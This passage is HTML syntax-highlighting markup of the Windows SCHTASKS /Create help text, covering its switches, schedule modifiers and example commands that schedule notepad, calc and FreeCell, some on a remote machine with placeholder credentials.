class="k"&gt;for&lt;/span&gt; &lt;span class="kd"&gt;ONCE&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;ONSTART&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;ONLOGON&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;ONIDLE&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;ONEVENT&lt;/span&gt;.
    &lt;span class="na"&gt;/ED   &lt;/span&gt;&lt;span class="kd"&gt;enddate&lt;/span&gt;       &lt;span class="kd"&gt;Specifies&lt;/span&gt; &lt;span class="kd"&gt;the&lt;/span&gt; &lt;span class="kd"&gt;last&lt;/span&gt; &lt;span class="nb"&gt;date&lt;/span&gt; &lt;span class="kd"&gt;the&lt;/span&gt; &lt;span class="kd"&gt;task&lt;/span&gt; &lt;span class="kd"&gt;runs&lt;/span&gt;. &lt;span class="kd"&gt;Format&lt;/span&gt; &lt;span class="kd"&gt;yyyy&lt;/span&gt;&lt;span class="na"&gt;/mm/dd&lt;/span&gt;. &lt;span class="kd"&gt;Not&lt;/span&gt; &lt;span class="kd"&gt;applicable&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="kd"&gt;ONCE&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;ONSTART&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;ONLOGON&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;ONIDLE&lt;/span&gt;.
    &lt;span class="na"&gt;/EC   &lt;/span&gt;&lt;span class="kd"&gt;ChannelName&lt;/span&gt;   &lt;span class="kd"&gt;Specifies&lt;/span&gt; &lt;span class="kd"&gt;the&lt;/span&gt; &lt;span class="kd"&gt;event&lt;/span&gt; &lt;span class="kd"&gt;channel&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="kd"&gt;OnEvent&lt;/span&gt; &lt;span class="kd"&gt;triggers&lt;/span&gt;.
    &lt;span class="na"&gt;/IT                &lt;/span&gt;&lt;span class="kd"&gt;Allows&lt;/span&gt; &lt;span class="kd"&gt;the&lt;/span&gt; &lt;span class="kd"&gt;task&lt;/span&gt; &lt;span class="kd"&gt;to&lt;/span&gt; &lt;span class="nb"&gt;run&lt;/span&gt; &lt;span class="kd"&gt;interactively&lt;/span&gt; &lt;span class="kd"&gt;only&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="kd"&gt;the&lt;/span&gt; &lt;span class="na"&gt;/RU &lt;/span&gt;&lt;span class="kd"&gt;user&lt;/span&gt; &lt;span class="kd"&gt;is&lt;/span&gt; &lt;span class="kd"&gt;currently&lt;/span&gt; &lt;span class="kd"&gt;logged&lt;/span&gt; &lt;span class="na"&gt;on&lt;/span&gt;. &lt;span class="kd"&gt;This&lt;/span&gt; &lt;span class="kd"&gt;task&lt;/span&gt; &lt;span class="kd"&gt;runs&lt;/span&gt; &lt;span class="kd"&gt;only&lt;/span&gt; &lt;span class="kd"&gt;when&lt;/span&gt; &lt;span class="kd"&gt;the&lt;/span&gt; &lt;span class="kd"&gt;user&lt;/span&gt; &lt;span class="kd"&gt;is&lt;/span&gt; &lt;span class="kd"&gt;logged&lt;/span&gt; &lt;span class="na"&gt;on&lt;/span&gt;.
    &lt;span class="na"&gt;/NP                &lt;/span&gt;&lt;span class="kd"&gt;No&lt;/span&gt; &lt;span class="kd"&gt;password&lt;/span&gt; &lt;span class="kd"&gt;is&lt;/span&gt; &lt;span class="kd"&gt;stored&lt;/span&gt;. &lt;span class="kd"&gt;The&lt;/span&gt; &lt;span class="kd"&gt;task&lt;/span&gt; &lt;span class="kd"&gt;runs&lt;/span&gt; &lt;span class="kd"&gt;non&lt;/span&gt;‑interactively &lt;span class="kd"&gt;as&lt;/span&gt; &lt;span class="kd"&gt;the&lt;/span&gt; &lt;span class="kd"&gt;given&lt;/span&gt; &lt;span class="kd"&gt;user&lt;/span&gt;. &lt;span class="kd"&gt;Only&lt;/span&gt; &lt;span class="kd"&gt;local&lt;/span&gt; &lt;span class="kd"&gt;resources&lt;/span&gt; &lt;span class="kd"&gt;are&lt;/span&gt; &lt;span class="kd"&gt;available&lt;/span&gt;.
    &lt;span class="na"&gt;/Z                 &lt;/span&gt;&lt;span class="kd"&gt;Marks&lt;/span&gt; &lt;span class="kd"&gt;the&lt;/span&gt; &lt;span class="kd"&gt;task&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="kd"&gt;deletion&lt;/span&gt; &lt;span class="kd"&gt;after&lt;/span&gt; &lt;span class="kd"&gt;its&lt;/span&gt; &lt;span class="kd"&gt;final&lt;/span&gt; &lt;span class="nb"&gt;run&lt;/span&gt;.
    &lt;span class="na"&gt;/XML  &lt;/span&gt;&lt;span class="kd"&gt;xmlfile&lt;/span&gt;       &lt;span class="kd"&gt;Creates&lt;/span&gt; &lt;span class="kd"&gt;a&lt;/span&gt; &lt;span class="kd"&gt;task&lt;/span&gt; &lt;span class="kd"&gt;from&lt;/span&gt; &lt;span class="kd"&gt;the&lt;/span&gt; &lt;span class="kd"&gt;task&lt;/span&gt; &lt;span class="kd"&gt;XML&lt;/span&gt; &lt;span class="kd"&gt;specified&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="kd"&gt;a&lt;/span&gt; &lt;span class="kd"&gt;file&lt;/span&gt;. &lt;span class="kd"&gt;Can&lt;/span&gt; &lt;span class="kd"&gt;be&lt;/span&gt; &lt;span class="kd"&gt;combined&lt;/span&gt; &lt;span class="kd"&gt;with&lt;/span&gt; &lt;span class="na"&gt;/RU &lt;/span&gt;&lt;span class="kd"&gt;and&lt;/span&gt; &lt;span class="na"&gt;/RP &lt;/span&gt;&lt;span class="kd"&gt;switches&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;or&lt;/span&gt; &lt;span class="na"&gt;/RP &lt;/span&gt;&lt;span class="kd"&gt;alone&lt;/span&gt; &lt;span class="kd"&gt;when&lt;/span&gt; &lt;span class="kd"&gt;the&lt;/span&gt; &lt;span class="kd"&gt;task&lt;/span&gt; &lt;span class="kd"&gt;XML&lt;/span&gt; &lt;span class="kd"&gt;already&lt;/span&gt; &lt;span class="kd"&gt;contains&lt;/span&gt; &lt;span class="kd"&gt;the&lt;/span&gt; &lt;span class="kd"&gt;principal&lt;/span&gt;.
    &lt;span class="na"&gt;/V&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;                &lt;span class="kd"&gt;Creates&lt;/span&gt; &lt;span class="kd"&gt;a&lt;/span&gt; &lt;span class="kd"&gt;task&lt;/span&gt; &lt;span class="kd"&gt;visible&lt;/span&gt; &lt;span class="kd"&gt;to&lt;/span&gt; &lt;span class="kd"&gt;pre&lt;/span&gt;‑Vista &lt;span class="kd"&gt;platforms&lt;/span&gt;. &lt;span class="kd"&gt;Not&lt;/span&gt; &lt;span class="kd"&gt;compatible&lt;/span&gt; &lt;span class="kd"&gt;with&lt;/span&gt; &lt;span class="na"&gt;/XML&lt;/span&gt;.
    &lt;span class="na"&gt;/F                 &lt;/span&gt;&lt;span class="kd"&gt;Forcefully&lt;/span&gt; &lt;span class="kd"&gt;creates&lt;/span&gt; &lt;span class="kd"&gt;the&lt;/span&gt; &lt;span class="kd"&gt;task&lt;/span&gt; &lt;span class="kd"&gt;and&lt;/span&gt; &lt;span class="kd"&gt;suppresses&lt;/span&gt; &lt;span class="kd"&gt;warnings&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="kd"&gt;the&lt;/span&gt; &lt;span class="kd"&gt;specified&lt;/span&gt; &lt;span class="kd"&gt;task&lt;/span&gt; &lt;span class="kd"&gt;already&lt;/span&gt; &lt;span class="kd"&gt;exists&lt;/span&gt;.
    &lt;span class="na"&gt;/RL   &lt;/span&gt;&lt;span class="kd"&gt;level&lt;/span&gt;        &lt;span class="kd"&gt;Sets&lt;/span&gt; &lt;span class="kd"&gt;the&lt;/span&gt; &lt;span class="nb"&gt;run&lt;/span&gt; &lt;span class="kd"&gt;level&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="kd"&gt;the&lt;/span&gt; &lt;span class="kd"&gt;job&lt;/span&gt;. &lt;span class="kd"&gt;Valid&lt;/span&gt; &lt;span class="kd"&gt;values&lt;/span&gt;: &lt;span class="kd"&gt;LIMITED&lt;/span&gt; &lt;span class="kd"&gt;and&lt;/span&gt; &lt;span class="kd"&gt;HIGHEST&lt;/span&gt;. &lt;span class="kd"&gt;Default&lt;/span&gt; &lt;span class="kd"&gt;is&lt;/span&gt; &lt;span class="kd"&gt;LIMITED&lt;/span&gt;.
    &lt;span class="na"&gt;/DELAY &lt;/span&gt;&lt;span class="kd"&gt;delaytime&lt;/span&gt;   &lt;span class="kd"&gt;Specifies&lt;/span&gt; &lt;span class="kd"&gt;the&lt;/span&gt; &lt;span class="kd"&gt;wait&lt;/span&gt; &lt;span class="nb"&gt;time&lt;/span&gt; &lt;span class="kd"&gt;to&lt;/span&gt; &lt;span class="kd"&gt;delay&lt;/span&gt; &lt;span class="kd"&gt;the&lt;/span&gt; &lt;span class="kd"&gt;task&lt;/span&gt; &lt;span class="kd"&gt;after&lt;/span&gt; &lt;span class="kd"&gt;the&lt;/span&gt; &lt;span class="kd"&gt;trigger&lt;/span&gt; &lt;span class="kd"&gt;fires&lt;/span&gt;. &lt;span class="kd"&gt;Time&lt;/span&gt; &lt;span class="nb"&gt;format&lt;/span&gt; &lt;span class="kd"&gt;mmmm&lt;/span&gt;&lt;span class="nl"&gt;:ss&lt;/span&gt;. &lt;span class="kd"&gt;This&lt;/span&gt; &lt;span class="kd"&gt;option&lt;/span&gt; &lt;span class="kd"&gt;is&lt;/span&gt; &lt;span class="kd"&gt;only&lt;/span&gt; &lt;span class="kd"&gt;valid&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="kd"&gt;schedule&lt;/span&gt; &lt;span class="kd"&gt;types&lt;/span&gt; &lt;span class="kd"&gt;ONSTART&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;ONLOGON&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;ONEVENT&lt;/span&gt;.
    /&lt;span class="o"&gt;?&lt;/span&gt;                 &lt;span class="kd"&gt;Displays&lt;/span&gt; &lt;span class="kd"&gt;this&lt;/span&gt; &lt;span class="nb"&gt;help&lt;/span&gt; &lt;span class="kd"&gt;message&lt;/span&gt;.

&lt;span class="kd"&gt;Modifiers&lt;/span&gt;: &lt;span class="kd"&gt;Valid&lt;/span&gt; &lt;span class="kd"&gt;values&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="kd"&gt;the&lt;/span&gt; &lt;span class="na"&gt;/MO &lt;/span&gt;&lt;span class="kd"&gt;switch&lt;/span&gt; &lt;span class="kd"&gt;per&lt;/span&gt; &lt;span class="kd"&gt;schedule&lt;/span&gt; &lt;span class="nb"&gt;type&lt;/span&gt;:
    &lt;span class="kd"&gt;MINUTE&lt;/span&gt;:  &lt;span class="m"&gt;1&lt;/span&gt; &lt;span class="kd"&gt;to&lt;/span&gt; &lt;span class="m"&gt;1439&lt;/span&gt; &lt;span class="kd"&gt;minutes&lt;/span&gt;.
    &lt;span class="kd"&gt;HOURLY&lt;/span&gt;:  &lt;span class="m"&gt;1&lt;/span&gt; – &lt;span class="m"&gt;23&lt;/span&gt; &lt;span class="kd"&gt;hours&lt;/span&gt;.
    &lt;span class="kd"&gt;DAILY&lt;/span&gt;:   &lt;span class="m"&gt;1&lt;/span&gt; &lt;span class="kd"&gt;to&lt;/span&gt; &lt;span class="m"&gt;365&lt;/span&gt; &lt;span class="kd"&gt;days&lt;/span&gt;.
    &lt;span class="kd"&gt;WEEKLY&lt;/span&gt;:  &lt;span class="m"&gt;1&lt;/span&gt; &lt;span class="kd"&gt;to&lt;/span&gt; &lt;span class="m"&gt;52&lt;/span&gt; &lt;span class="kd"&gt;weeks&lt;/span&gt;.
    &lt;span class="kd"&gt;ONCE&lt;/span&gt;:    &lt;span class="kd"&gt;No&lt;/span&gt; &lt;span class="kd"&gt;modifier&lt;/span&gt;.
    &lt;span class="kd"&gt;ONSTART&lt;/span&gt;: &lt;span class="kd"&gt;No&lt;/span&gt; &lt;span class="kd"&gt;modifier&lt;/span&gt;.
    &lt;span class="kd"&gt;ONLOGON&lt;/span&gt;: &lt;span class="kd"&gt;No&lt;/span&gt; &lt;span class="kd"&gt;modifier&lt;/span&gt;.
    &lt;span class="kd"&gt;ONIDLE&lt;/span&gt;:  &lt;span class="kd"&gt;No&lt;/span&gt; &lt;span class="kd"&gt;modifier&lt;/span&gt;.
    &lt;span class="kd"&gt;MONTHLY&lt;/span&gt;: &lt;span class="m"&gt;1&lt;/span&gt; &lt;span class="kd"&gt;to&lt;/span&gt; &lt;span class="m"&gt;12&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;or&lt;/span&gt; &lt;span class="kd"&gt;FIRST&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;SECOND&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;THIRD&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;FOURTH&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;LAST&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;LASTDAY&lt;/span&gt;.
    &lt;span class="kd"&gt;ONEVENT&lt;/span&gt;: &lt;span class="kd"&gt;XPath&lt;/span&gt; &lt;span class="kd"&gt;event&lt;/span&gt; &lt;span class="nb"&gt;query&lt;/span&gt; &lt;span class="kd"&gt;string&lt;/span&gt;.

&lt;span class="kd"&gt;Examples&lt;/span&gt;:
    &lt;span class="o"&gt;==&amp;gt;&lt;/span&gt; &lt;span class="kd"&gt;Create&lt;/span&gt; &lt;span class="kd"&gt;a&lt;/span&gt; &lt;span class="kd"&gt;scheduled&lt;/span&gt; &lt;span class="kd"&gt;task&lt;/span&gt; &lt;span class="s2"&gt;"doc"&lt;/span&gt; &lt;span class="na"&gt;on&lt;/span&gt; &lt;span class="kd"&gt;remote&lt;/span&gt; &lt;span class="kd"&gt;machine&lt;/span&gt; &lt;span class="s2"&gt;"ABC"&lt;/span&gt; &lt;span class="kd"&gt;that&lt;/span&gt; &lt;span class="kd"&gt;runs&lt;/span&gt; &lt;span class="kd"&gt;notepad&lt;/span&gt;&lt;span class="err"&gt;.exe&lt;/span&gt; &lt;span class="kd"&gt;hourly&lt;/span&gt; &lt;span class="kd"&gt;under&lt;/span&gt; &lt;span class="kd"&gt;the&lt;/span&gt; &lt;span class="s2"&gt;"runasuser"&lt;/span&gt; &lt;span class="kd"&gt;account&lt;/span&gt;.
        &lt;span class="kd"&gt;SCHTASKS&lt;/span&gt; &lt;span class="na"&gt;/Create /S &lt;/span&gt;&lt;span class="kd"&gt;ABC&lt;/span&gt; &lt;span class="na"&gt;/U &lt;/span&gt;&lt;span class="kd"&gt;user&lt;/span&gt; &lt;span class="na"&gt;/P &lt;/span&gt;&lt;span class="kd"&gt;password&lt;/span&gt; &lt;span class="na"&gt;/RU &lt;/span&gt;&lt;span class="kd"&gt;runasuser&lt;/span&gt; &lt;span class="na"&gt;/RP &lt;/span&gt;&lt;span class="kd"&gt;runaspassword&lt;/span&gt; &lt;span class="na"&gt;/SC &lt;/span&gt;&lt;span class="kd"&gt;HOURLY&lt;/span&gt; &lt;span class="na"&gt;/TN &lt;/span&gt;&lt;span class="kd"&gt;doc&lt;/span&gt; &lt;span class="na"&gt;/TR &lt;/span&gt;&lt;span class="kd"&gt;notepad&lt;/span&gt;

    &lt;span class="o"&gt;==&amp;gt;&lt;/span&gt; &lt;span class="kd"&gt;Create&lt;/span&gt; &lt;span class="kd"&gt;a&lt;/span&gt; &lt;span class="kd"&gt;scheduled&lt;/span&gt; &lt;span class="kd"&gt;task&lt;/span&gt; &lt;span class="s2"&gt;"accountant"&lt;/span&gt; &lt;span class="na"&gt;on&lt;/span&gt; &lt;span class="kd"&gt;remote&lt;/span&gt; &lt;span class="kd"&gt;machine&lt;/span&gt; &lt;span class="s2"&gt;"ABC"&lt;/span&gt; &lt;span class="kd"&gt;that&lt;/span&gt; &lt;span class="kd"&gt;runs&lt;/span&gt; &lt;span class="kd"&gt;calc&lt;/span&gt;&lt;span class="err"&gt;.exe&lt;/span&gt; &lt;span class="kd"&gt;every&lt;/span&gt; &lt;span class="kd"&gt;five&lt;/span&gt; &lt;span class="kd"&gt;minutes&lt;/span&gt; &lt;span class="kd"&gt;between&lt;/span&gt; &lt;span class="kd"&gt;a&lt;/span&gt; &lt;span class="nb"&gt;start&lt;/span&gt; &lt;span class="kd"&gt;and&lt;/span&gt; &lt;span class="kd"&gt;end&lt;/span&gt; &lt;span class="nb"&gt;time&lt;/span&gt; &lt;span class="na"&gt;on&lt;/span&gt; &lt;span class="kd"&gt;specified&lt;/span&gt; &lt;span class="kd"&gt;dates&lt;/span&gt;.
        &lt;span class="kd"&gt;SCHTASKS&lt;/span&gt; &lt;span class="na"&gt;/Create /S &lt;/span&gt;&lt;span class="kd"&gt;ABC&lt;/span&gt; &lt;span class="na"&gt;/U &lt;/span&gt;&lt;span class="kd"&gt;domain&lt;/span&gt;\user &lt;span class="na"&gt;/P &lt;/span&gt;&lt;span class="kd"&gt;password&lt;/span&gt; &lt;span class="na"&gt;/SC &lt;/span&gt;&lt;span class="kd"&gt;MINUTE&lt;/span&gt; &lt;span class="na"&gt;/MO &lt;/span&gt;&lt;span class="m"&gt;5&lt;/span&gt; &lt;span class="na"&gt;/TN &lt;/span&gt;&lt;span class="kd"&gt;accountant&lt;/span&gt; &lt;span class="na"&gt;/TR &lt;/span&gt;&lt;span class="kd"&gt;calc&lt;/span&gt;&lt;span class="err"&gt;.exe&lt;/span&gt; &lt;span class="na"&gt;/ST &lt;/span&gt;&lt;span class="m"&gt;12&lt;/span&gt;:00 &lt;span class="na"&gt;/ET &lt;/span&gt;&lt;span class="m"&gt;14&lt;/span&gt;:00 &lt;span class="na"&gt;/SD &lt;/span&gt;&lt;span class="m"&gt;06&lt;/span&gt;/06/2006 &lt;span class="na"&gt;/ED &lt;/span&gt;&lt;span class="m"&gt;06&lt;/span&gt;/06/2006 &lt;span class="na"&gt;/RU &lt;/span&gt;&lt;span class="kd"&gt;runasuser&lt;/span&gt; &lt;span class="na"&gt;/RP &lt;/span&gt;&lt;span class="kd"&gt;userpassword&lt;/span&gt;

    &lt;span class="o"&gt;==&amp;gt;&lt;/span&gt; &lt;span class="kd"&gt;Create&lt;/span&gt; &lt;span class="kd"&gt;a&lt;/span&gt; &lt;span class="kd"&gt;scheduled&lt;/span&gt; &lt;span class="kd"&gt;task&lt;/span&gt; &lt;span class="s2"&gt;"gametime"&lt;/span&gt; &lt;span class="kd"&gt;that&lt;/span&gt; &lt;span class="kd"&gt;runs&lt;/span&gt; &lt;span class="kd"&gt;FreeCell&lt;/span&gt; &lt;span class="na"&gt;on&lt;/span&gt; &lt;span class="kd"&gt;the&lt;/span&gt; &lt;span class="kd"&gt;first&lt;/span&gt; &lt;span class="kd"&gt;Sunday&lt;/span&gt; &lt;span class="kd"&gt;of&lt;/span&gt; &lt;span class="kd"&gt;every&lt;/span&gt; &lt;span class="kd"&gt;month&lt;/span&gt;.
        &lt;span class="kd"&gt;SCHTASKS&lt;/span&gt; &lt;span class="na"&gt;/Create /SC &lt;/span&gt;&lt;span class="kd"&gt;MONTHLY&lt;/span&gt; &lt;span class="na"&gt;/MO &lt;/span&gt;&lt;span class="kd"&gt;first&lt;/span&gt; &lt;span class="na"&gt;/D &lt;/span&gt;&lt;span class="kd"&gt;SUN&lt;/span&gt; &lt;span class="na"&gt;/TN &lt;/span&gt;&lt;span class="kd"&gt;gametime&lt;/span&gt; &lt;span class="na"&gt;/TR &lt;/span&gt;&lt;span class="kd"&gt;c&lt;/span&gt;:\windows\system32\freecell

    &lt;span class="o"&gt;==&amp;gt;&lt;/span&gt; &lt;span class="kd"&gt;Create&lt;/span&gt; &lt;span class="kd"&gt;a&lt;/span&gt; &lt;span class="kd"&gt;scheduled&lt;/span&gt; &lt;span class="kd"&gt;task&lt;/span&gt; &lt;span class="s2"&gt;"report"&lt;/span&gt; &lt;span class="na"&gt;on&lt;/span&gt; &lt;span class="kd"&gt;remote&lt;/span&gt; &lt;span class="kd"&gt;machine&lt;/span&gt; &lt;span class="s2"&gt;"ABC"&lt;/span&gt; &lt;span class="kd"&gt;that&lt;/span&gt; &lt;span class="kd"&gt;runs&lt;/span&gt; &lt;span class="kd"&gt;notepad&lt;/span&gt;&lt;span class="err"&gt;.exe&lt;/span&gt; &lt;span class="kd"&gt;every&lt;/span&gt; &lt;span class="kd"&gt;week&lt;/span&gt;.
        &lt;span class="kd"&gt;SCHTASKS&lt;/span&gt; &lt;span class="na"&gt;/Create /S &lt;/span&gt;&lt;span class="kd"&gt;ABC&lt;/span&gt; &lt;span class="na"&gt;/U &lt;/span&gt;&lt;span class="kd"&gt;user&lt;/span&gt; &lt;span class="na"&gt;/P &lt;/span&gt;&lt;span class="kd"&gt;password&lt;/span&gt; &lt;span class="na"&gt;/RU &lt;/span&gt;&lt;span class="kd"&gt;runasuser&lt;/span&gt; &lt;span class="na"&gt;/RP &lt;/span&gt;&lt;span class="kd"&gt;runaspassword&lt;/span&gt; &lt;span class="na"&gt;/SC &lt;/span&gt;&lt;span class="kd"&gt;WEEKLY&lt;/span&gt; &lt;span class="na"&gt;/TN &lt;/span&gt;&lt;span class="kd"&gt;report&lt;/span&gt; &lt;span class="na"&gt;/TR &lt;/span&gt;&lt;span class="kd"&gt;notepad&lt;/span&gt;&lt;span class="err"&gt;.exe&lt;/span&gt;

    &lt;span class="o"&gt;==&amp;gt;&lt;/span&gt; &lt;span class="kd"&gt;Create&lt;/span&gt; &lt;span class="kd"&gt;a&lt;/span&gt; &lt;span class="kd"&gt;scheduled&lt;/span&gt; &lt;span class="kd"&gt;task&lt;/span&gt; &lt;span class="s2"&gt;"logtracker"&lt;/span&gt; &lt;span class="na"&gt;on&lt;/span&gt; &lt;span class="kd"&gt;remote&lt;/span&gt; &lt;span class="kd"&gt;machine&lt;/span&gt; &lt;span class="s2"&gt;"ABC"&lt;/span&gt; &lt;span class="kd"&gt;that&lt;/span&gt; &lt;span class="kd"&gt;runs&lt;/span&gt; &lt;span class="kd"&gt;notepad&lt;/span&gt;&lt;span class="err"&gt;.exe&lt;/span&gt; &lt;span class="kd"&gt;every&lt;/span&gt; &lt;span class="kd"&gt;five&lt;/span&gt; &lt;span class="kd"&gt;minutes&lt;/span&gt; &lt;span class="kd"&gt;from&lt;/span&gt; &lt;span class="kd"&gt;a&lt;/span&gt; &lt;span class="kd"&gt;specified&lt;/span&gt; &lt;span class="nb"&gt;start&lt;/span&gt; &lt;span class="nb"&gt;time&lt;/span&gt; &lt;span class="kd"&gt;with&lt;/span&gt; &lt;span class="kd"&gt;no&lt;/span&gt; &lt;span class="kd"&gt;end&lt;/span&gt; &lt;span class="nb"&gt;time&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt; &lt;span class="kd"&gt;password&lt;/span&gt; &lt;span class="nb"&gt;prompt&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="na"&gt;/RP&lt;/span&gt;.
        &lt;span class="kd"&gt;SCHTASKS&lt;/span&gt; &lt;span class="na"&gt;/Create /S &lt;/span&gt;&lt;span class="kd"&gt;ABC&lt;/span&gt; &lt;span class="na"&gt;/U &lt;/span&gt;&lt;span class="kd"&gt;domain&lt;/span&gt;\user &lt;span class="na"&gt;/P &lt;/span&gt;&lt;span class="kd"&gt;password&lt;/span&gt; &lt;span class="na"&gt;/SC &lt;/span&gt;&lt;span class="kd"&gt;MINUTE&lt;/span&gt; &lt;span class="na"&gt;/MO &lt;/span&gt;&lt;span class="m"&gt;5&lt;/span&gt; &lt;span class="na"&gt;/TN &lt;/span&gt;&lt;span class="kd"&gt;logtracker&lt;/span&gt; &lt;span class="na"&gt;/TR &lt;/span&gt;&lt;span class="kd"&gt;c&lt;/span&gt;:\windows\system32\notepad.exe &lt;span class="na"&gt;/ST &lt;/span&gt;&lt;span class="m"&gt;18&lt;/span&gt;:30 &lt;span class="na"&gt;/RU &lt;/span&gt;&lt;span class="kd"&gt;runasuser&lt;/span&gt; &lt;span class="na"&gt;/RP

    &lt;/span&gt;&lt;span class="o"&gt;==&amp;gt;&lt;/span&gt; &lt;span class="kd"&gt;Create&lt;/span&gt; &lt;span class="kd"&gt;a&lt;/span&gt; &lt;span class="kd"&gt;scheduled&lt;/span&gt; &lt;span class="kd"&gt;task&lt;/span&gt; &lt;span class="s2"&gt;"gaming"&lt;/span&gt; &lt;span class="kd"&gt;that&lt;/span&gt; &lt;span class="kd"&gt;runs&lt;/span&gt; &lt;span class="kd"&gt;freecell&lt;/span&gt;&lt;span class="err"&gt;.exe&lt;/span&gt; &lt;span class="kd"&gt;daily&lt;/span&gt; &lt;span class="kd"&gt;from&lt;/span&gt; &lt;span class="m"&gt;12&lt;/span&gt;:00 &lt;span class="kd"&gt;to&lt;/span&gt; &lt;span class="m"&gt;14&lt;/span&gt;:00 &lt;span class="kd"&gt;and&lt;/span&gt; &lt;span class="kd"&gt;ends&lt;/span&gt; &lt;span class="kd"&gt;automatically&lt;/span&gt;.
        &lt;span class="kd"&gt;SCHTASKS&lt;/span&gt; &lt;span class="na"&gt;/Create /SC &lt;/span&gt;&lt;span class="kd"&gt;DAILY&lt;/span&gt; &lt;span class="na"&gt;/TN &lt;/span&gt;&lt;span class="kd"&gt;gaming&lt;/span&gt; &lt;span class="na"&gt;/TR &lt;/span&gt;&lt;span class="kd"&gt;c&lt;/span&gt;:\freecell &lt;span class="na"&gt;/ST &lt;/span&gt;&lt;span class="m"&gt;12&lt;/span&gt;:00 &lt;span class="na"&gt;/ET &lt;/span&gt;&lt;span class="m"&gt;14&lt;/span&gt;:00 &lt;span class="na"&gt;/K

    &lt;/span&gt;&lt;span class="o"&gt;==&amp;gt;&lt;/span&gt; &lt;span class="kd"&gt;Create&lt;/span&gt; &lt;span class="kd"&gt;a&lt;/span&gt; &lt;span class="kd"&gt;scheduled&lt;/span&gt; &lt;span class="kd"&gt;task&lt;/span&gt; &lt;span class="s2"&gt;"EventLog"&lt;/span&gt; &lt;span class="kd"&gt;to&lt;/span&gt; &lt;span class="nb"&gt;start&lt;/span&gt; &lt;span class="kd"&gt;wevtvwr&lt;/span&gt;.msc &lt;span class="kd"&gt;whenever&lt;/span&gt; &lt;span class="kd"&gt;event&lt;/span&gt; &lt;span class="m"&gt;101&lt;/span&gt; &lt;span class="kd"&gt;is&lt;/span&gt; &lt;span class="kd"&gt;published&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="kd"&gt;the&lt;/span&gt; &lt;span class="s2"&gt;"System"&lt;/span&gt; &lt;span class="kd"&gt;channel&lt;/span&gt;.
        &lt;span class="kd"&gt;SCHTASKS&lt;/span&gt; &lt;span class="na"&gt;/Create /TN &lt;/span&gt;&lt;span class="kd"&gt;EventLog&lt;/span&gt; &lt;span class="na"&gt;/TR &lt;/span&gt;&lt;span class="kd"&gt;wevtvwr&lt;/span&gt;.msc &lt;span class="na"&gt;/SC &lt;/span&gt;&lt;span class="kd"&gt;ONEVENT&lt;/span&gt; &lt;span class="na"&gt;/EC &lt;/span&gt;&lt;span class="kd"&gt;System&lt;/span&gt; &lt;span class="na"&gt;/MO &lt;/span&gt;&lt;span class="o"&gt;*[&lt;/span&gt;&lt;span class="kd"&gt;System&lt;/span&gt;&lt;span class="na"&gt;/EventID&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;101&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;

    &lt;span class="o"&gt;==&amp;gt;&lt;/span&gt; &lt;span class="kd"&gt;File&lt;/span&gt; &lt;span class="kd"&gt;paths&lt;/span&gt; &lt;span class="kd"&gt;may&lt;/span&gt; &lt;span class="kd"&gt;contain&lt;/span&gt; &lt;span class="kd"&gt;spaces&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt; &lt;span class="kd"&gt;use&lt;/span&gt; &lt;span class="kd"&gt;two&lt;/span&gt; &lt;span class="kd"&gt;sets&lt;/span&gt; &lt;span class="kd"&gt;of&lt;/span&gt; &lt;span class="kd"&gt;quotes&lt;/span&gt;—one &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="kd"&gt;CMD&lt;/span&gt;&lt;span class="err"&gt;.EXE&lt;/span&gt; &lt;span class="kd"&gt;and&lt;/span&gt; &lt;span class="kd"&gt;one&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="kd"&gt;SchTasks&lt;/span&gt;&lt;span class="err"&gt;.exe&lt;/span&gt;. &lt;span class="kd"&gt;The&lt;/span&gt; &lt;span class="kd"&gt;outer&lt;/span&gt; &lt;span class="kd"&gt;quotes&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="kd"&gt;CMD&lt;/span&gt; &lt;span class="kd"&gt;must&lt;/span&gt; &lt;span class="kd"&gt;be&lt;/span&gt; &lt;span 